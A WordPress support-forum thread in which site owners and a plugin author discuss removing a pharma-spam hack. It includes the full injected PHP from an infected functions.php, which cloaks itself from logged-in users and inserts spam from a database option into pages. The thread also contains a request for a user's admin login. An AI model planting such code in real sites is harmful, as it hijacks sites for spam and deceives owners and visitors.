Get Off Those Maliciously Loaded Scripts!
Download this free Anti-Malware Plugin for WordPress.

I have this, too.  Were you able to find a resolution?

I also have the issue with the meta data showing up in google searches.  I believe your plugin located the code in the functions.php file, which I have removed, but I’m not sure how to test that it is completely resolved.  I have read somewhere else about needed to modify/remove database entries.  Do you know about this?  Thanks so much for your expertise!

Thanks!  Actually, the site never showed any issues on the outside at all.  A reader emailed us that it was showing pharma-spam on Facebook (like Dougald mentioned in this initial post).

Also, if you do a search on google, many pages have the pharma-spam in the metadata.  Google never did mark the site as containing malware, so I’m having trouble finding how to request a cache update.  I’ll keep looking, but so far cannot find where to request this.

Let me know if you have other suggestions, & I’ll keep looking, too.  Thanks for the great plugin!

I also am trying to unwind this weird pharma hack, which has infected two of my websites (computingthehumanexperience.com and creationsbyjan.com). In both cases, the hack is infecting the functions.php file of my resident themes.

Your plug in did indeed detect the offending code (which looks like this)
if (!function_exists(“b_call”)) {
function b_call() {
if (!ob_get_level()) ob_start(“b_goes”);
}
function b_goes($p) {
if (!defined(‘wp_m1′)) {
if (isset($_COOKIE['wordpress_test_cookie']) || isset($_COOKIE['wp-settings-1']) || isset($_COOKIE['wp-settings-time-1']) || (function_exists(‘is_user_logged_in’) && is_user_logged_in()) || (!$m = get_option(‘_textalternate2′))) {
return $p;
}
list($m, $n) = @unserialize(trim(strrev($m)));
define(‘wp_m1′, $m);
define(‘wp_n1′, $n);
}
if (!stripos($p, wp_n1)) $p = preg_replace(“~<body[^>]*>~i”, “$0\n”.wp_n1, $p, 1);
if (!stripos($p, wp_m1)) $p = preg_replace(“~</head>~”, wp_m1.”\n</head>”, $p, 1);
if (!stripos($p, wp_n1)) $p = preg_replace(“~</div>~”, “</div>\n”.wp_n1, $p, 1);
if (!stripos($p, wp_m1)) $p = preg_replace(“~</div>~”, wp_m1.”\n</div>”, $p, 1);
return $p;
}
function b_end() {
@ob_end_flush();
}
if (ob_get_level()) ob_end_clean();
add_action(“init”, “b_call”);
add_action(“wp_head”, “b_call”);
add_action(“get_sidebar”, “b_call”);
add_action(“wp_footer”, “b_call”);
add_action(“shutdown”, “b_end”);
}

I’m currently throwing all sort of things at the problem. Exploit Scanner uncovered a handful of core wordpress files that should not be there (and I’ve eliminated those) but clearly there’s still something in the database that makes this injected code pop up at random times like a whack-a-mole game. I’ve checked the usual places in the wp-options table (but no joy yet) and i’m about to look through all my plugins for strange code).

As for the database investigation, I should point out that all the usual table item names that have been typically used in pharma attacks are not present….this current  attack appears to be some new variation.

Needless to say, this is annoying

(and thank you, your plugin  helped me  attend to the immediate symptoms….now i just need to find the root of the disease)

Grady,
It sounds like you are on the right track. Your site may already be cleaner than you think. The seemingly random occurrences of this hack may be simply due to caching on either the browser or the web-server side. If you have any caching plugins you should deactivate them.

Also, check Google Webmaster Tools to see if it shows any infected URLs in the health section. You can also fetch a page from your site as the Google Bot to see if it still contains any malicious code.

Aloha, Eli

Last thing before I’m off to bed, for those of you chasing down this same problem..the combination of Eli’s wonderful anti-malware plug in plus the use of the Exploit Scanner plugin are what I’ve used to stamp out this hack.

Happy hunting…

My plugin does not delete anything from the database. Once the malicious PHP code is removed that entry in the wp_options table has no effect. You can (and probably should) delete it just to clean up.

As far as the source of this infection, It is most likely a shared hosting vulnerability.

I have recently created a very secure hosting environment to answer this need. After testing this new server for a few months I have created a site and opened registrations to the public. It’s not going to be as cheap as the bulky shared hosting providers out there like GoDaddy and HostGator but it is way more secure.

You can signup here if interested or contact me directly if you want more info.

http://yoftp.com/signup/

Aloha, Eli

Daniel,
Have you already removed some threats from your site? Because Facebook actually caches your site, it may take a little while before your post look clean.
If you have not found anything wrong on the site yet and you need my help to locate the malicious code just send me your WP Admin login and I’ll take a look.

Aloha, Eli